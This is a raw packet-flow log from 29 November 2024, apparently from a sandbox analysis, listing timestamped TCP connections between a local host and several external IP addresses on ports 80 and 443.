Nov 29, 2024 19:49:49.445029020 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.445117950 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.446067095 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.446142912 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.446177959 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.446238995 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.447155952 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.447216988 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.447251081 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.447299004 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.448288918 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.448360920 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.448390007 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.448401928 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.449373007 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.449425936 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.449471951 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.449521065 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.450531960 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.450588942 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.450618982 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.450697899 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.451643944 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.451713085 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.451744080 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.451795101 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.452739954 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.452796936 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.452866077 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.452924013 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.453846931 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.453907013 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.453994989 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.454091072 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.454987049 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.455037117 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.455188990 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.455249071 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.456209898 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.456229925 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.456270933 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.456324100 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.457253933 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.457297087 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.457391024 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.457458019 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.458374023 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.458439112 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.458467960 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.458657980 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.459439039 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.459547997 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.459572077 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.459610939 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.460558891 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.460685015 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.460705042 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.460779905 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.461687088 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.461806059 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.461863041 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.461915016 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.462810993 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.462831020 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.462872982 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.462873936 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.463912964 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.463979006 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.464036942 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.464102030 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.465091944 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.465164900 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.465198040 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.465256929 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.466150045 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.466192961 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.466207027 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.466243029 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.467226028 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.467283964 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.487462997 CET	443	49795	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:49.487531900 CET	443	49795	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:49.487623930 CET	49795	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:49.487907887 CET	49795	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:49.487925053 CET	443	49795	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:49.487936020 CET	49795	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:49.487941980 CET	443	49795	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:49.491344929 CET	49799	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:49.491378069 CET	443	49799	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:49.491550922 CET	49799	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:49.491667032 CET	49799	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:49.491684914 CET	443	49799	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:49.545656919 CET	443	49793	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:49.545730114 CET	443	49793	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:49.545804977 CET	49793	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:49.565167904 CET	49793	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:49.565182924 CET	443	49793	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:49.565195084 CET	49793	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:49.565208912 CET	443	49793	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:49.579169989 CET	49800	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:49.579202890 CET	443	49800	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:49.579472065 CET	49800	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:49.580790997 CET	49800	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:49.580809116 CET	443	49800	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:49.629635096 CET	443	49796	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:49.630194902 CET	49796	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:49.630209923 CET	443	49796	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:49.630703926 CET	49796	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:49.630709887 CET	443	49796	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:49.677889109 CET	443	49797	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:49.682442904 CET	49797	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:49.682457924 CET	443	49797	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:49.682939053 CET	49797	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:49.682945013 CET	443	49797	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:49.936538935 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.936538935 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:50.057214975 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:50.057229042 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:50.086502075 CET	443	49796	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:50.086560965 CET	443	49796	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:50.086709023 CET	49796	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:50.087124109 CET	49796	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:50.087141991 CET	443	49796	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:50.087152004 CET	49796	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:50.087157965 CET	443	49796	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:50.090413094 CET	49801	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:50.090437889 CET	443	49801	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:50.090542078 CET	49801	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:50.090706110 CET	49801	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:50.090718985 CET	443	49801	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:50.115003109 CET	443	49797	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:50.115070105 CET	443	49797	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:50.115153074 CET	49797	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:50.115334034 CET	49797	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:50.115334034 CET	49797	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:50.115350008 CET	443	49797	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:50.115360022 CET	443	49797	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:50.118045092 CET	49802	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:50.118072987 CET	443	49802	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:50.118148088 CET	49802	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:50.118529081 CET	49802	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:50.118542910 CET	443	49802	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:51.066417933 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:51.066529036 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:51.137537956 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:51.196603060 CET	443	49798	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:51.197261095 CET	49798	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:51.197279930 CET	443	49798	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:51.197839022 CET	49798	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:51.197844982 CET	443	49798	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:51.211986065 CET	443	49799	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:51.215859890 CET	49799	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:51.215873957 CET	443	49799	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:51.216334105 CET	49799	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:51.216340065 CET	443	49799	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:51.260438919 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:51.427663088 CET	443	49800	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:51.429054022 CET	49800	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:51.429070950 CET	443	49800	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:51.429563046 CET	49800	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:51.429573059 CET	443	49800	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:51.596930981 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:51.596992970 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:51.597002029 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:51.597045898 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:51.597388983 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:51.597450018 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:51.599756002 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:51.652704954 CET	443	49798	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:51.652781010 CET	443	49798	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:51.652834892 CET	49798	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:51.653125048 CET	49798	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:51.653147936 CET	443	49798	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:51.656913996 CET	49804	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:51.656965971 CET	443	49804	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:51.657049894 CET	49804	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:51.657288074 CET	49804	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:51.657301903 CET	443	49804	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:51.657346964 CET	443	49799	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:51.657417059 CET	443	49799	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:51.657474995 CET	49799	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:51.657604933 CET	49799	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:51.657619953 CET	443	49799	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:51.657632113 CET	49799	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:51.657638073 CET	443	49799	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:51.659996986 CET	49805	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:51.660024881 CET	443	49805	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:51.660216093 CET	49805	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:51.660216093 CET	49805	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:51.660243988 CET	443	49805	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:51.719795942 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:51.880891085 CET	443	49800	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:51.880959034 CET	443	49800	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:51.881185055 CET	49800	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:51.881222963 CET	49800	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:51.881236076 CET	443	49800	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:51.884426117 CET	49806	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:51.884466887 CET	443	49806	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:51.884623051 CET	49806	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:51.884809971 CET	49806	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:51.884823084 CET	443	49806	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:51.936851025 CET	443	49801	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:51.937371016 CET	49801	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:51.937377930 CET	443	49801	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:51.937887907 CET	49801	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:51.937891960 CET	443	49801	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:51.963768959 CET	443	49802	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:51.964289904 CET	49802	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:51.964299917 CET	443	49802	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:51.964869022 CET	49802	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:51.964874029 CET	443	49802	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:52.056498051 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:52.056725979 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:52.069186926 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:52.189872980 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:52.397458076 CET	443	49801	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:52.397521019 CET	443	49801	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:52.397578955 CET	49801	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:52.397806883 CET	49801	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:52.397820950 CET	443	49801	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:52.397829056 CET	49801	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:52.397834063 CET	443	49801	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:52.401515007 CET	49807	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:52.401550055 CET	443	49807	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:52.401638031 CET	49807	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:52.401861906 CET	49807	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:52.401873112 CET	443	49807	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:52.428159952 CET	443	49802	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:52.428231001 CET	443	49802	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:52.428296089 CET	49802	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:52.428471088 CET	49802	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:52.428488970 CET	443	49802	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:52.428499937 CET	49802	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:52.428505898 CET	443	49802	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:52.431196928 CET	49808	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:52.431227922 CET	443	49808	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:52.431411028 CET	49808	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:52.431567907 CET	49808	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:52.431582928 CET	443	49808	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:53.023199081 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:53.023284912 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:53.025820017 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:53.146233082 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:53.473877907 CET	443	49804	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:53.475028992 CET	49804	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:53.475029945 CET	49804	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:53.475071907 CET	443	49804	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:53.475086927 CET	443	49804	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:53.495908022 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:53.499432087 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:53.500097036 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:53.514223099 CET	443	49806	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:53.514250994 CET	443	49805	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:53.514754057 CET	49806	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:53.514753103 CET	49805	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:53.514775991 CET	443	49806	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:53.514792919 CET	443	49805	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:53.515254021 CET	49805	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:53.515255928 CET	49806	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:53.515259981 CET	443	49805	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:53.515268087 CET	443	49806	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:53.619999886 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:53.620404959 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:53.620404959 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:53.740384102 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:53.920557022 CET	443	49804	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:53.920629025 CET	443	49804	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:53.920737982 CET	49804	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:53.921139002 CET	49804	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:53.921159983 CET	443	49804	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:53.921169996 CET	49804	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:53.921175957 CET	443	49804	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:53.924781084 CET	49810	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:53.924822092 CET	443	49810	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:53.924931049 CET	49810	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:53.925139904 CET	49810	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:53.925160885 CET	443	49810	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:53.958523035 CET	443	49806	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:53.958590984 CET	443	49806	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:53.958858013 CET	49806	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:53.958894014 CET	49806	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:53.958910942 CET	443	49806	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:53.958923101 CET	49806	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:53.958929062 CET	443	49806	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:53.961684942 CET	49811	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:53.961726904 CET	443	49811	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:53.961813927 CET	49811	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:53.962054968 CET	49811	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:53.962070942 CET	443	49811	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:53.968316078 CET	443	49805	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:53.968393087 CET	443	49805	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:53.968528986 CET	49805	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:53.968559027 CET	49805	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:53.968576908 CET	443	49805	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:53.968590021 CET	49805	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:53.968601942 CET	443	49805	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:53.970716000 CET	49812	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:53.970733881 CET	443	49812	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:53.970825911 CET	49812	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:53.970961094 CET	49812	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:53.970973969 CET	443	49812	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:54.163647890 CET	443	49807	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:54.164354086 CET	49807	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:54.164369106 CET	443	49807	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:54.164983988 CET	49807	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:54.164989948 CET	443	49807	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:54.200037003 CET	443	49808	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:54.200473070 CET	49808	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:54.200493097 CET	443	49808	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:54.200917006 CET	49808	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:54.200922966 CET	443	49808	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:54.600605011 CET	443	49807	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:54.600667953 CET	443	49807	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:54.600761890 CET	49807	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:54.600927114 CET	49807	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:54.600944042 CET	443	49807	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:54.600955009 CET	49807	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:54.600960970 CET	443	49807	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:54.604279995 CET	49813	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:54.604315042 CET	443	49813	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:54.604388952 CET	49813	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:54.604556084 CET	49813	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:54.604569912 CET	443	49813	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:54.635834932 CET	443	49808	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:54.635896921 CET	443	49808	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:54.635987997 CET	49808	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:54.636176109 CET	49808	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:54.636188984 CET	443	49808	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:54.636199951 CET	49808	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:54.636204958 CET	443	49808	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:54.638748884 CET	49814	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:54.638771057 CET	443	49814	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:54.638859987 CET	49814	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:54.638982058 CET	49814	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:54.638998032 CET	443	49814	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:55.054212093 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.054274082 CET	49809	80	192.168.2.5	185.215.113.16
Nov 29, 2024 19:49:55.054399014 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.054410934 CET	80	49809	185.215.113.16	192.168.2.5
Nov 29, 2024 19:49:55.054429054 CET	80	49809	185.215.113.16	192.168.2.5
